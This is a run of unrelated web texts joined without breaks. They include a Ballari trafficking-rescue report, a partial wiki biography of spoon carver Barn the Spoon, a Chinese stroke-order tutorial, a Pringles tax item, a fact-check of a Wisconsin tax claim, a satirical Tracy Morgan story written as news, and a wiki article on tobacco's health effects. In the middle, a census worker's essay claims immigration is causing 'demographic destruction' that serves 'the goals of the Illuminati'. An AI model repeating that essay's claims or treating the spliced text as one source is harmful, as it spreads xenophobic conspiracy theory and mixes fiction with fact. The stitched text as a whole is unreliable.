In August 2013, the Ballari Police were successful in rescuing 43 victims, of whom 21 were minors, from brothels after being tipped-off by an anti-human trafficking NGO. The police were also successful in arresting 51 of the 87 involved in selling girls for sex. The police conducted several rescue operations in the DC Nagar area of Ballari to carry out these arrests.
During the operations, Rs 4.59 lakh in cash were also seized from the locations. Seven of those rescued were from Bangladesh and the rest were from different parts of the country such Andhra Pradesh, Telangana, West Bengal, Karnataka and Odisha.
The minors rescued in the operations were shifted to government care homes for girls in Bengaluru. Meena Jain who was the then Chairperson of the Child Welfare Committee said, "We need to make sure that traffickers are booked, tried and prosecuted. The convictions should send across a strong message that such criminal activity will not be tolerated. Now that justice is served, lives of these children should also be addressed. They should be allowed to live a normal life."
Ballari additional district and sessions judge, V H Dharwadkar passed an order convicting the accused under Sections 366, 366a, 366b, 368, 370, 370a, 372, 373 of IPC, sections 3, 4, 5, 6, 7, 9 of the Immoral Traffic (Prevention) Act and under sections 3 and 4 of the Protection of Children from Sexual Offences Act.
Barnaby Alexander Carder, known as Barn the Spoon (born 1982), is a British artisan spoon carver, teacher, author and co-founder of Spoonfest, the annual international festival of spoon carving in Edale in Derbyshire, UK.[1] He is also founder of the Green Wood Guild, a collective of green wood carvers who run carving workshops[2] and owns a spoon shop and woodworking venue in Hackney in London's East End. Carder also teaches spoon carving, woodworking and bladesmithing (with master smith Nic Westermann).[3]
Early life and education [ edit ]
Carder was born in 1982 and grew up in Berkshire.[4] At the age of 12 a neighbour introduced him to woodturning by showing him how to make bowls[5] and soon he had a lathe in the garage of his parents' house.[6] He graduated from Bristol University with a degree in biology, intending initially to become a biology teacher before becoming apprenticed to a cabinet maker.[7] After apprenticing himself to green wood worker Mike Abbott in Hereford, he then spent 3 years working in forestry and living in the forests, sourcing green wood.[5] It was while living in the woods he began to carve and then sell spoons for a living travelling between Oxford and Bristol,[8] finding that the spoons sold better in cities.[5] Carder holds an official pedlar's licence for this purpose.[5]
Spoons and green wood carving [ edit ]
Carder is founder of The Green Wood Guild, London's school of traditional woodwork, based at Stepney City Farm.[9] The Guild also has a woodworking venue at Abney Park in Stoke Newington. The guild provides courses in woodworking, carving, whittling and bladesmithing and runs two regular clubs, Whittlers Anonymous and Spoonclub.[9]
Carder uses freshly cut (green) wood and traditional techniques to carve his spoons, usually using an axe, spoon knife (a curved bladed knife for hollowing out the bowl of the spoon), and small carving knife.[5][10] The wood is sourced locally from parks in and around London and is recycled from trees which have been removed for conservation reasons.[11] Carder states that a single spoon can take him from twenty minutes to two hours to carve.[4] He opened his Hackney Road shop at the end of 2012 and carves in the shop window, where people often stop to watch.[11][4]
Carder has a display of some of his spoons in the Fuller Craft Museum in Brockton, Massachusetts[12] and his spoons have also sold in the Conran shop in Tokyo.[2] In 2016 Carder and Robin Wood joined Stevie Parle during London Craft Week to explore wood-fired cooking and how dining from wooden utensils can affect the experience of eating.[13] Carder has been described by the press as "legendary"[14] and it has been said that "No one in Britain knows more about crafting a spoon from green wood than Barn the Spoon".[15]
In May 2017 following the release of his book, Carder announced the lease on his shop is to expire and he hopes to leave London to be closer to nature. He launched a '1000 spoons' project where he intends to carve 1000 spoons from a single tree, using any profits to plant and maintain his own woodland.[16]
Teaching [ edit ]
Carder teaches spoon and bowl carving at his shop on the Hackney Road and has run courses at various other venues around the UK including Stepney City Farm, Tate Britain, the Pitt Rivers Museum[17] and Heal's.[18][19]
In May 2017 Carder published his first book, a spoon carving guide entitled Spon: A Guide to Spoon Carving and the New Wood Culture published by Penguin Books.[10] 'Spon' refers to the Anglo-Saxon English word for a wood chip which is believed to be the etymological root of spoon.[20] In it Carder shows techniques and the appropriate use of tools used in creating different types of spoon.[21] Carder explains the need to think in three dimensions, as with other forms of sculpture, and has said
“ Perfection is always just a spoon away.[15] ”
Spoonfest [ edit ]
Banner entrance to Spoonfest
I was one of the half-million people hired to work on the 2010 Census which cost $14.5 billion, more than three times the 2000 Census. The 2010 census cost about $47 for every man, woman, and child in America.
The Census asked every conceivable question but the obvious one: Are you a citizen?
It asked about everyone who lives in your household, but made no effort to determine citizenship status. (Think of it as don’t ask-don’t tell.)
It asks if your kids are adopted and whether you have a mortgage; and do you identify yourself as Hispanic (and if so, are you Mexican, Chicano, Puerto Rican, Cuban, etc., etc.), but it never asks about citizenship.
Given the fact that there are tens of millions of illegal aliens in the country (plus, of course, many other people here legally, but not citizens), the significance (and real purpose) is to make sure that as many non-citizens as humanly possible are included –- and are therefore represented in the apportionment of Congress.
The Constitution says the purpose of the census is to properly apportion representation in Congress. Our Congressmen represent the citizens of their states so I had assumed that the census would be counting only citizens. But no, it counts everyone living in the United States, whether they are citizens or not. And that includes illegal aliens.
Of course, illegal aliens might be reluctant to come “out of the shadows” (as they say). So now it made sense why there was such a great effort of ferret everyone out, even if it meant intruding on people’s lives. One of the major goals of the census is to include every non-citizen, including every illegal alien, in the final count.
This means that the census is now deliberately anti-Constitutional. If illegal aliens are counted in California, then California will be sure to get additional seats in Congress (despite the fact that many citizens have been leaving California over the past 10 years). The same is true of other states with large numbers of illegals.
By the same token, other states (like where I live) which have relatively few immigrants are in danger of losing representation. In fact, if California (and some other states) gain, then states like mine must lose. This is the exact opposite of the true (and only Constitutional) purpose of the census.
To appreciate how strong an effect this can have, we just have to consider how many illegal aliens there are in the U.S. The figure is typically given as 12 million, but that’s a government/media figure. Before it got swallowed by its competitors (with the government’s help), Bear Stearns did a demographic study of the question. They had no ax to grind; they just wanted an honest figure for its bearing on making financial decisions. They concluded — about 3 years ago — that conservatively there were 20 million.
DEMOGRAPHIC DESTRUCTION
I’m all for welcoming immigrants, as long as they come here legally, are willing to work and our economy can accommodate them.
But for more than twenty years, we have been inundated with millions of immigrants whose culture is not only radically different from ours but who have no desire to assimilate. Each year has been like a slow motion reenactment of Jean Raspail’s apocalyptic novel, The Camp of the Saints. (This is true of Canada as well. See the recent article by Kevin Michael Grace on vdare.com. )http://www.vdare.com/grace/100817_camp_of_the_saints.htm)
This unending flood is leading to the demographic destruction of America. This process can still be stopped before it is too late, but it seems to me we are close to the tipping point.
Unfortunately the government wants to continue and even advance this process. This is true of both political parties. I assume the real purpose is either to create the conditions for a merger of the U.S., Canada, and Mexico, or else foster the breakup and balkanization of America. Either result would serve the goals of the Illuminati.
In its own modest way, the 2010 Census has been a part of this process. It expended great effort and spent double-digit billions to count and “lock in” the tens of millions of non-citizens who are now in our country. It is counting them so that Congress will soon be apportioned in a way that gives them as much representation as Americans, and in a way that erodes our own representation. It’s a form of de facto merger, de facto “immigration reform.”
Unfortunately, in my own modest way, I was a part of the process too. I needed the money. And I’m grateful for the friends I made. But I can’t help feeling ambivalent. I thought I would be doing something worthwhile and I tried to do a good job. But now it’s clear to me that my efforts were made to serve subversive ends.
Addendum:
The questions were as follows:
1) How many people were living in your house, apartment or mobile home on April 1st? (This means any dwelling. As I said in my article, census workers in the field checked out and left forms on garages, broken down shacks, tool sheds, chicken coops, etc. You never know, especially when you’re counting illegal aliens.
2) Is the dwelling owned or rented? If owned, is there a mortgage?
3) What is your name, address and phone number?
4) What is your gender?
5) What is your age and date of birth?
6) Are you Hispanic, Latino, or of Spanish origin? (This to cover the different terms that a person might use to identify himself; i.e., someone might think of himself as being of Spanish origin but not as a “Hispanic.” We want to make sure this person is properly grouped in with the “Hispanics.”) If yes, then are you Mexican, Mexican American or Chicano? Puerto Rican? Cuban? Another? (You’re told you can write in Colombian, Dominican, etc., etc. We want everyone to be comfortable.)
7) What is your race? White? Black, African American, Negro? (The last term caused some offense among professional blacks, and African Americans, but it was deemed necessary because apparently a significant portion of the older population still identifies with the term “Negro.”) American Indian or Alaska Native? (If so, there’s a space for you to write in your tribe.) Asian Indian? Chinese? Filipino? Japanese? Korean? Vietnamese? Other Asian? (Here you get a space to write it in. Suggestions are Hmong, Laotian Thai, etc., etc.) Native Hawaiian? Guamanian or Chamorro? Samoan? Other Pacific Islander? (Again, a space: Fijian? Tongan? Etc.) Finally, Some other race? (Fill in the blank.)
Obviously no one is just an American anymore (all the more so now that non-Americans are counted right alongside Americans). Here we see politically correct identity politics running rampant, as well as intellectual incoherence in the confusion of race, ethnicity and nationality. (Note too there are no Euro-Americans. Swedish? Polish?)
8) Do you sometimes live or stay somewhere else? College? Military? Seasonal residence? Jail? Nursing home? For child custody?
Then, believe it or not, the census worker (sometimes including those of us in the office who handled the phones) is supposed to go through all of the above questions not only for the main person in each household who’s answering the census, but for each and every person given in the answer to #1. Plus the census requires we be told the relationship of each person to the main person. This gets to be pretty intrusive. Husband or wife? Unmarried partner? Roommate or housemate? Roomer or boarder? Son or daughter? Stepson? Adopted son? Biological son? Son-in-law? Etc. Etc.
The only limit is the limit of possible relationships. And by the way, what is the middle initial of each person?
I remember my Chinese teacher cringing every time I used the improper Chinese stroke order for a character and shrieking “倒插笔 (dào chā bǐ)” in my ear. The sole meaning of the phrase“倒插笔” is to criticize someone for using improper stroke order. Other phrases often heard in elementary classrooms are “乱写!(luàn xiě)” or “writing crazily” and “写错了! (xiě cuò le)” which is “You wrote it wrong!”
So, why is Chinese character stroke order so important?
First, let’s talk a little bit about strokes themselves. As you can see from the graph below, there are 11 basic strokes that comprise all Chinese characters.
Using the wrong stroke order or direction would cause the ink to fall differently on the page. You can see that the “捺 (nà)” stroke has starts out thin, but thickens and thins out again in an elegant sweep. Should you write it backwards, you would not have the same effect. Don’t believe me? Try writing the letter “S” on a piece of paper. Now try recreating it, but start from the bottom instead. Do you see how you lose some of that natural flow?
The Chinese have always believed in balance and harmony. For example, when one fell ill, he or she was thought to have an imbalance of yin and yang in his or her body system. Traditional Chinese medicine was produced to restore balance.
Similarly, the Chinese stroke order system was designed to produce the most aesthetical, symmetrical, and balanced characters on a piece of paper. Furthermore, it was also designed to be efficient – creating the most strokes with the least amount of hand movement across the page. You may notice that all Chinese characters fit neatly into a square box. None of them skew dramatically to one direction or the other, which again reflects how much we value symmetry and balance.
“永(yǒng)” the character for eternity, is often the poster-child character for calligraphers. If you examine this character closely, you will notice that this one character has 8 of the most common stroke types that appear in the Chinese writing system. This is why calligraphers are often judged on skill by how well they write the character 永.
When children are learning to write at a young age, Chinese stroke order is often taught to them using the “Eight Principles of Yong,” which are the 8 different strokes combined in this one character. Frequent practice of this character can improve basic handwriting.
Even in today’s technological age, knowing the proper stroke order can go a long way to helping you master Chinese. A lot of Chinese input methods and dictionary apps have a handwriting feature that requires the proper stroke order to recognize the character. Knowing Chinese stroke order will also help you understand “草书 (cǎo shū)” or “Chinese cursive writing.” My knowledge of stroke order has helped me decipher messy Chinese handwriting on more than one occasion.
Here are some tips on mastering stroke order.
1. Top to bottom
When a Chinese character is “stacked” vertically, like the character 立 (lì) or “to stand,” the rule is to write from top to bottom.
2. Left to right
When a Chinese character has a radical, the character is written left to right. The same rule applies to characters that are stacked horizontally. Take a look at the “吃 (chī)” example below, which means “to eat.”
3. Symmetry counts
When you are writing a character that is centered and more or less symmetrical (but not stacked from top to bottom) the general rule is to write the center stroke first. Check out the character “小(xiǎo)” which means “small.”
4. Horizontal first, vertical second
Horizontal strokes are always written before vertical strokes. Check out how to write the character “十(shí)” or “ten.”
5. Enclosures before content
You want to create the frame of the character before you fill it in. Check out how to write the character 日(rì) or “sun.”
6. Close frames last
My mom used to teach me this concept by saying “you want to fill the closet before you close the door.” After you write the middle strokes, close the frame, such as in the character “回(huí)” or “to return.”
7. Character spanning strokes last
For strokes that cut across many other strokes, they are often written last. For example, the character 半 (bàn), which means “half.” The vertical line is written last.
There are always small exceptions to the rule, and Chinese stroke order can vary slightly from region to region. However, these variations are very miniscule; so by following these general tips, you’ll have an astute grasp on stroke order!
Personal handwriting is also important in Chinese culture. In Chinese, we have a saying called “字如其人(zì rú qí rén),” which means “the handwriting reflects the person.” According to my harshest handwriting critic, (my mother) my handwriting says that I am “disorganized, daring, and a little out of the box.” Clearly, I need more practice. What do you think your Chinese handwriting says about you? Hopefully with these tips, you’ll be on your way to improving your handwriting!
The absurdly hypocritical claims were made to weasel out of a British tax on potato crisps and other potato-based foods. London Justice Nicholas Warren ruled that Pringles were made, not of potatoes, but out of good ‘ole fashioned American chemicals.
Potato chips “give a sharply crunchy sensation under the tooth and have to be broken down into jagged pieces when chewed,” the Cincinnati-based company’s lawyers argued. “It is totally different with a Pringle, indeed a Pringle is designed to melt down on the tongue.” Warren agreed. Pringles aren’t “made from the potato” for the purposes of the tax office’s exemption, he said. He didn’t say what Pringles are, other than that they’re tax-exempt.
What’s that old adage about a duck?
Two weeks after indicating he will run for governor of Wisconsin in 2018, the leader of a nonprofit organization that encourages citizens to challenge the political establishment listed some of the reasons why.
The potential candidate is Mike McCabe, who runs Blue Jean Nation and was a founding member of the Wisconsin Democracy Campaign, which tracks money in politics.
Appearing on the May 21, 2017 edition of "Capital City Sunday," a public affairs show on WKOW-TV in Madison, McCabe said the state needs to raise the minimum wage "to turn that into a living wage" and make education "debt free." He added:
"And we’ve got to change a tax system -- when you look at all the state and local taxes we pay in Wisconsin, the wealthiest 1 percent pay the lowest overall tax rate."
Claims about the 1 percent, or the richest of the rich, are among our most popular.
Let’s see how this one stands up.
His evidence
McCabe, who says he is not a member of any political party, cited a 50-state analysis of state and local taxes published in January 2015 by the Institute on Taxation and Economic Policy, a left-leaning research organization based in Washington, D.C.
Experts told us it is the only recent report of its kind on state and local taxes in Wisconsin.
The report measured total state and local taxes as a share of family income for non-elderly taxpayers.
In Wisconsin, according to the report, the top 1 percent pay a smaller share of their income in taxes than other income groups:
Lowest 20%: Less than $22,000 Second 20%: $22,000 – $38,000 Middle 20%: $38,000 – $61,000 Fourth 20%: $61,000 – $91,000 Next 15%: $91,000 –
$163,000 Next 4%: $163,000 – $399,000 Top 1%: +$399,000 8.9% 10% 10.2% 10.2% 9.2% 7.8% 6.2%
(Nationwide, the gap was wider: The bottom 20 percent of earners pay 10.9 percent of their income in state and local taxes each year, compared to 5.4 percent paid by the top 1 percent.)
It’s important to note that while the study supports McCabe’s statement, it uses a methodology that is accepted by some experts but criticized by others.
Todd Berry, president of the nonprofit Wisconsin Taxpayers Alliance, told us that any effort to assess who bears the burden of state and local taxes depends in part on assumptions that are made.
Jared Walczak, an analyst with the Center for State Tax Policy at the free market-oriented Tax Foundation in Washington, D.C., said this study’s "assumptions do not provide a meaningful way to assess the question" about the 1 percenters in Wisconsin.
The Tax Foundation expressed criticism at the time and Walczak emphasized to us that the study omits some taxes altogether -- such as business license taxes, gross receipts taxes and severance taxes. And the study includes one federal provision -- the federal income tax deduction for state and local taxes paid -- to make state tax systems "look more regressive."
However, data for the omitted taxes were not available, the institute told us. And even if the federal deduction were not considered, the richest 1 percent in Wisconsin would still have a lower state and local tax burden than other income groups in Wisconsin.
Richard Auxier, state and local tax policy expert at the nonprofit Tax Policy Center, noted state and local taxes in the vast majority of states, including Wisconsin, are regressive: They rely largely on sales and property taxes, which generally take a bigger bite out of the incomes of lower income people than higher income people.
He also said that although Wisconsin’s income tax is relatively progressive, its earned income tax credit, which eases the income tax burden on lower-income residents, isn’t overly generous.
So, given the generally regressive nature of taxes states rely upon, McCabe’s statement is not surprising. Indeed, if he made the statement about 48 of the 50 states (except Alaska and California, plus the District of Columbia), it would be on target, according to the report he cited.
Our rating
McCabe says: "When you look at all the state and local taxes we pay in Wisconsin, the wealthiest 1 percent pay the lowest overall tax rate."
His claim is based on a 2015 report which found that the top 1 percent of earners (income of $399,000 and above) pay 6.2 percent of their income in state and local taxes -- a lighter burden than six lower income groups. It’s important to note that the report’s methodology has its critics, but it is the latest available study that attempts to assess state and local tax burdens.
With that caveat, we rate the statement Mostly True.
More fact checks on the richest
Mark Pocan: Under "Trumpcare," the Republican replacement for Obamacare, "$600 billion worth of tax breaks will go to the wealthiest in this country." Half True.
Jennifer Shilling: Under Donald Trump's tax plan, "the top 0.1 percent of taxpayers -- people earning multiple millions of dollars a year, on average -- would get more tax relief than the bottom 60 percent of taxpayers combined." True.
Bernie Sanders: "The top one-tenth of 1 percent" of Americans "own almost as much wealth as the bottom 90 percent." Mostly True.
Just minutes after learning that Tracy Morgan’s left leg will not need to be amputated as a result of the horrific car crash​ in which he was involved earlier this week, the comedian’s family expressed their regret for selling all of his left footwear on eBay.
“Damn, I really should have gotten medical updates from Tracy’s doctor instead of TMZ,” explained Morgan’s cousin, Dwayne ‘Lil’ D’ Fredricks. “Now I feel bad about going through his closet and grabbing all that stuff.”
The family also expressed disappointment at the $287.69 they raised from the on-line auctions.
“Less than three hundred dollars for forty-seven perfectly good left shoes and sneakers that was once worn by a real live TV star,” complained Morgan’s step-niece, Trischa Cantrell, who helped Fredricks gather and sell the footwear. “The only bidder was comedian Kenan Thompson, who wanted to finally walk in the shoes of a funny ‘Saturday Night Live’ cast member.”
Upon hearing the news, Wal-Mart CEO C. Douglas McMillon sent Morgan’s family this generous offer: “For every right shoe, sneaker, or sandal that you bring into your local Wal-Mart location, 25% will be taken off the purchase of any new shoe, sneaker or sandal purchase of equal or lesser value (excluding sale items, designer brands, or footwear containing more than 17% leather). Offer good Mondays through Tuesdays, 7 a.m. to 7:15 a.m.”
“Hey, it’s the least Wal-Mart could do,” McMillon told Hollywood & Swine.
Tobacco use has predominantly negative effects on human health and concern about health effects of tobacco has a long history. Research has focused primarily on cigarette tobacco smoking.[1][2]
Tobacco smoke contains more than fifty chemicals that cause cancer.[3] Tobacco also contains nicotine, which is a highly addictive psychoactive drug. When tobacco is smoked, nicotine causes physical and psychological dependency. Cigarettes sold in underdeveloped countries tend to have higher tar content, and are less likely to be filtered, potentially increasing vulnerability to tobacco smoking related disease in these regions.[4]
Tobacco use is the single greatest cause of preventable death globally.[5] As many as half of people who use tobacco die from complications of tobacco use.[3] The World Health Organization (WHO) estimates that each year tobacco causes about 6 million deaths (about 10% of all deaths) with 600,000 of these occurring in non smokers due to second hand smoke.[3][6] In the 20th century tobacco is estimated to have caused 100 million deaths.[3] Similarly, the United States Centers for Disease Control and Prevention describes tobacco use as "the single most important preventable risk to human health in developed countries and an important cause of premature death worldwide."[7] According to a 2014 review in the New England Journal of Medicine, tobacco will, if current smoking patterns persist, kill about 1 billion people in the 21st century, half of them before the age of 70.[8]
Tobacco use leads most commonly to diseases affecting the heart, liver and lungs. Smoking is a major risk factor for heart attacks, strokes, chronic obstructive pulmonary disease (COPD) (including emphysema and chronic bronchitis), and several cancers (particularly lung cancer, cancers of the larynx and mouth, bladder cancer, and pancreatic cancer). It also causes peripheral arterial disease and high blood pressure. The effects depend on the number of years that a person smokes and on how much the person smokes. Starting smoking earlier in life and smoking cigarettes higher in tar increases the risk of these diseases. Also, environmental tobacco smoke, or secondhand smoke, has been shown to cause adverse health effects in people of all ages.[9] Tobacco use is a significant factor in miscarriages among pregnant smokers, and it contributes to a number of other health problems of the fetus such as premature birth, low birth weight, and increases by 1.4 to 3 times the chance of sudden infant death syndrome (SIDS).[10] Incidence of erectile dysfunction is approximately 85 percent higher in male smokers compared to non-smokers.[11][12]
Several countries have taken measures to control the consumption of tobacco with usage and sales restrictions as well as warning messages printed on packaging. Additionally, smoke-free laws that ban smoking in public places such as workplaces, theaters, and bars and restaurants reduce exposure to secondhand smoke and help some people who smoke to quit, without negative economic effects on restaurants or bars.[3] Tobacco taxes that increase the price are also effective, especially in developing countries.[3]
The coughing, throat irritation, and shortness of breath caused by smoking have always been obvious.[citation needed] The idea that tobacco use caused some diseases, including mouth cancers, was initially, in the late 1700s and the 1800s, widely accepted by the medical community.[13] In the 1880s, automation slashed the cost of cigarettes, and use expanded.[14][15] From the 1890s onwards, associations of tobacco use with cancers and vascular disease were regularly reported; a metaanalysis citing 167 other works was published in 1930, and concluded that tobacco use caused cancer.[16][17] Increasingly solid observational evidence was published throughout the 1930s, and in 1938, Science published a paper showing that tobacco users live substantially shorter lives. Case-control studies were published in Germany in 1939 and 1943, and one in the Netherlands in 1948, but widespread attention was first drawn by five case-control studies published in 1950 by researchers from the US and UK. These studies were widely criticized as showing correlation, not causality. Follow up prospective cohort studies in the early 1950s clearly found that that smokers died faster, and were more likely to die of lung cancer and cardiovascular disease.[13] These results were first widely accepted in the medical community, and publicized among the general public, in the mid-1960s.[13]
Health effects of smoking [ edit ]
[18] Addiction experts in psychiatry, chemistry, pharmacology, forensic science, epidemiology, and the police and legal services engaged in delphic analysis regarding 20 popular recreational drugs. Tobacco was ranked 3rd in dependence, 14th in physical harm, and 12th in social harm.
Smoking most commonly leads to diseases affecting the heart and lungs and will most commonly affect areas such as hands or feet with first signs of smoking related health issues showing up as numbness, with smoking being a major risk factor for heart attacks, chronic obstructive pulmonary disease (COPD), emphysema, and cancer, particularly lung cancer, cancers of the larynx and mouth, and pancreatic cancer.[19] Overall life expectancy is also reduced in long term smokers, with estimates ranging from 10[20] to 17.9[21] years fewer than nonsmokers.[22] About one half of long term male smokers will die of illness due to smoking.[23] The association of smoking with lung cancer is strongest, both in the public perception and etiologically. Among male smokers, the lifetime risk of developing lung cancer is 17.2%; among female smokers, the risk is 11.6%. This risk is significantly lower in nonsmokers: 1.3% in men and 1.4% in women.[24] Historically, lung cancer was considered to be a rare disease prior to World War I and was perceived as something most physicians would never see during their career. With the postwar rise in popularity of cigarette smoking came a virtual epidemic of lung cancer.[25][26]
A person's increased risk of contracting disease is directly proportional to the length of time that a person continues to smoke as well as the amount smoked. However, if someone stops smoking, then these chances gradually decrease as the damage to their body is repaired. A year after quitting, the risk of contracting heart disease is half that of a continuing smoker.[27] The health risks of smoking are not uniform across all smokers. Risks vary according to the amount of tobacco smoked, with those who smoke more at greater risk. Smoking so-called "light" cigarettes does not reduce the risk.[28]
Mortality [ edit ]
Smoking is the cause of about 5 million deaths per year.[29] This makes it the most common cause of preventable early death.[30] One study found that male and female smokers lose on average of 13.2 and 14.5 years of life, respectively.[31] Another found a loss of life of 6.8 years.[32] Each cigarette that is smoked is estimated to shorten life by an average of 11 minutes.[33][34][35] At least half of all lifelong smokers die earlier as a result of smoking.[20] Smokers are three times as likely to die before the age of 60 or 70 as non-smokers.[20][36][37]
In the United States, cigarette smoking and exposure to tobacco smoke accounts for roughly one in five,[38] or at least 443,000 premature deaths annually.[39] To put this into context, ABC's Peter Jennings famously reported that in the US alone, tobacco kills the equivalent of three jumbo jets full of people crashing every day, with no survivors.[40] On a worldwide basis, this equates to a single jumbo jet every hour.[41]
A 2015 study found that about 17% of mortality due to cigarette smoking in the United States is due to diseases other than those usually believed to be related.[42]
Cancer [ edit ]
The primary risks of tobacco usage include many forms of cancer, particularly lung cancer,[43] kidney cancer,[44] cancer of the larynx and head and neck,[45][46] bladder cancer,[47] cancer of the esophagus,[48] cancer of the pancreas[49] and stomach cancer.[50] Studies have established a relationship between tobacco smoke, including secondhand smoke, and cervical cancer in women.[51] There is some evidence suggesting a small increased risk of myeloid leukemia,[52] squamous cell sinonasal cancer, liver cancer, colorectal cancer, cancers of the gallbladder, the adrenal gland, the small intestine, and various childhood cancers.[50] The possible connection between breast cancer and tobacco is still uncertain.[53][medical citation needed]
Lung cancer risk is highly affected by smoking with up to 90% of cases being caused by tobacco smoking.[54] Risk of developing lung cancer increases with number of years smoking and number of cigarettes smoked per day.[55] Smoking can be linked to all subtypes of lung cancer. Small Cell Lung Carcinoma (SCLC) is the most closely associated with almost 100% of cases occurring in smokers.[56] This form of cancer has been identified with autocrine growth loops, proto-oncogene activation and inhibition of tumour suppressor genes. SCLC may originate from neuroendocrine cells located in the bronchus called Feyrter cells.[57]
The risk of dying from lung cancer before age 85 is 22.1% for a male smoker and 11.9% for a female smoker, in the absence of competing causes of death. The corresponding estimates for lifelong nonsmokers are a 1.1% probability of dying from lung cancer before age 85 for a man of European descent, and a 0.8% probability for a woman.[58]
Pulmonary [ edit ]
[ citation needed ] Since establishing causation through experimental trials was not possible due to ethical restrictions, a lengthy study was conducted in order to establish the strong association necessary to allow for legislative action against tobacco consumption.
In smoking, long term exposure to compounds found in the smoke (e.g., carbon monoxide and cyanide) are believed to be responsible for pulmonary damage and for loss of elasticity in the alveoli, leading to emphysema and COPD. Chronic obstructive pulmonary disease (COPD) caused by smoking, is a permanent, incurable (often terminal) reduction of pulmonary capacity characterised by shortness of breath, wheezing, persistent cough with sputum, and damage to the lungs, including emphysema and chronic bronchitis.[59] The carcinogen acrolein and its derivatives also contribute to the chronic inflammation present in COPD.[60]
Cardiovascular disease [ edit ]
Tobacco stains on primarily the second and third fingers of a heavy smoker
Inhalation of tobacco smoke causes several immediate responses within the heart and blood vessels. Within one minute the heart rate begins to rise, increasing by as much as 30 percent during the first 10 minutes of smoking. Carbon monoxide in tobacco smoke exerts negative effects by reducing the blood's ability to carry oxygen.[61]
Smoking also increases the chance of heart disease, stroke, atherosclerosis, and peripheral vascular disease.[62][63] Several ingredients of tobacco lead to the narrowing of blood vessels, increasing the likelihood of a blockage, and thus a heart attack or stroke. According to a study by an international team of researchers, people under 40 are five times more likely to have a heart attack if they smoke.[64][65]
Exposure to tobacco smoke is known to increase oxidative stress in the body by various mechanisms, including depletion of plasma antioxidants such as vitamin C.[66]
Recent research by American biologists has shown that cigarette smoke also influences the process of cell division in the cardiac muscle and changes the heart's shape.[67]
The usage of tobacco has also been linked to Buerger's disease (thromboangiitis obliterans) the acute inflammation and thrombosis (clotting) of arteries and veins of the hands and feet.[68]
Although cigarette smoking causes a greater increase in the risk of cancer than cigar smoking, cigar smokers still have an increased risk for many health problems, including cancer, when compared to non-smokers.[69][70] As for second-hand smoke, the NIH study points to the large amount of smoke generated by one cigar, saying "cigars can contribute substantial amounts of tobacco smoke to the indoor environment; and, when large numbers of cigar smokers congregate in a cigar smoking event, the amount of ETS [i.e. second-hand smoke] produced is sufficient to be a health concern for those regularly required to work in those environments."[71]
Smoking tends to increase blood cholesterol levels. Furthermore, the ratio of high-density lipoprotein (HDL, also known as the "good" cholesterol) to low-density lipoprotein (LDL, also known as the "bad" cholesterol) tends to be lower in smokers compared to non-smokers. Smoking also raises the levels of fibrinogen and increases platelet production (both involved in blood clotting) which makes the blood thicker and more likely to clot. Carbon monoxide binds to hemoglobin (the oxygen-carrying component in red blood cells), resulting in a much stabler complex than hemoglobin bound with oxygen or carbon dioxide—the result is permanent loss of blood cell functionality. Blood cells are naturally recycled after a certain period of time, allowing for the creation of new, functional red blood cells. However, if carbon monoxide exposure reaches a certain point before they can be recycled, hypoxia (and later death) occurs. All these factors make smokers more at risk of developing various forms of arteriosclerosis (hardening of the arteries). As the arteriosclerosis progresses, blood flows less easily through rigid and narrowed blood vessels, making the blood more likely to form a thrombosis (clot). Sudden blockage of a blood vessel may lead to an infarction (stroke or heart attack). However, it is also worth noting that the effects of smoking on the heart may be more subtle. These conditions may develop gradually given the smoking-healing cycle (the human body heals itself between periods of smoking), and therefore a smoker may develop less significant disorders such as worsening or maintenance of unpleasant dermatological conditions, e.g. eczema, due to reduced blood supply. Smoking also increases blood pressure and weakens blood vessels.[72]
Renal [ edit ]
In addition to increasing the risk of kidney cancer, smoking can also contribute to additional renal damage. Smokers are at a significantly increased risk for chronic kidney disease than non-smokers.[73] A history of smoking encourages the progression of diabetic nephropathy.[74]
Influenza [ edit ]
A study of an outbreak of an (H1N1) influenza in an Israeli military unit of 336 healthy young men to determine the relation of cigarette smoking to the incidence of clinically apparent influenza, revealed that, of 168 smokers, 68.5 percent had influenza, as compared with 47.2 percent of nonsmokers. Influenza was also more severe in the smokers; 50.6 percent of them lost work days or required bed rest, or both, as compared with 30.1 percent of the nonsmokers.[75]
According to a study of 1,900 male cadets after the 1968 Hong Kong A2 influenza epidemic at a South Carolina military academy, compared with nonsmokers, heavy smokers (more than 20 cigarettes per day) had 21% more illnesses and 20% more bed rest, light smokers (20 cigarettes or fewer per day) had 10% more illnesses and 7% more bed rest.[76]
The effect of cigarette smoking upon epidemic influenza was studied prospectively among 1,811 male college students. Clinical influenza incidence among those who daily smoked 21 or more cigarettes was 21% higher than that of non-smokers. Influenza incidence among smokers of 1 to 20 cigarettes daily was intermediate between non-smokers and heavy cigarette smokers.[76]
Surveillance of a 1979 influenza outbreak at a military base for women in Israel revealed that influenza symptoms developed in 60.0% of the current smokers vs. 41.6% of the nonsmokers.[77]
Smoking seems to cause a higher relative influenza-risk in older populations than in younger populations. In a prospective study of community-dwelling people 60–90 years of age, during 1993, of unimmunized people 23% of smokers had clinical influenza as compared with 6% of non-smokers.[78]
Smoking may substantially contribute to the growth of influenza epidemics affecting the entire population.[75] However the proportion of influenza cases in the general non-smoking population attributable to smokers has not yet been calculated.[citation needed]
Oral [ edit ]
Perhaps the most serious oral condition that can arise is that of oral cancer. However, smoking also increases the risk for various other oral diseases, some almost completely exclusive to tobacco users. The National Institutes of Health, through the National Cancer Institute, determined in 1998 that "cigar smoking causes a variety of cancers including cancers of the oral cavity (lip, tongue, mouth, throat), esophagus, larynx, and lung."[71] Pipe smoking involves significant health risks,[79][80] particularly oral cancer.[81] Roughly half of periodontitis or inflammation around the teeth cases are attributed to current or former smoking. Smokeless tobacco causes gingival recession and white mucosal lesions. Up to 90% of periodontitis patients who are not helped by common modes of treatment are smokers. Smokers have significantly greater loss of bone height than nonsmokers, and the trend can be extended to pipe smokers to have more bone loss than nonsmokers.[82]
Smoking has been proven to be an important factor in the staining of teeth.[83][84] Halitosis or bad breath is common among tobacco smokers.[85] Tooth loss has been shown to be 2[86] to 3 times[87] higher in smokers than in non-smokers.[88] In addition, complications may further include leukoplakia, the adherent white plaques or patches on the mucous membranes of the oral cavity, including the tongue.[89]
Infection [ edit ]
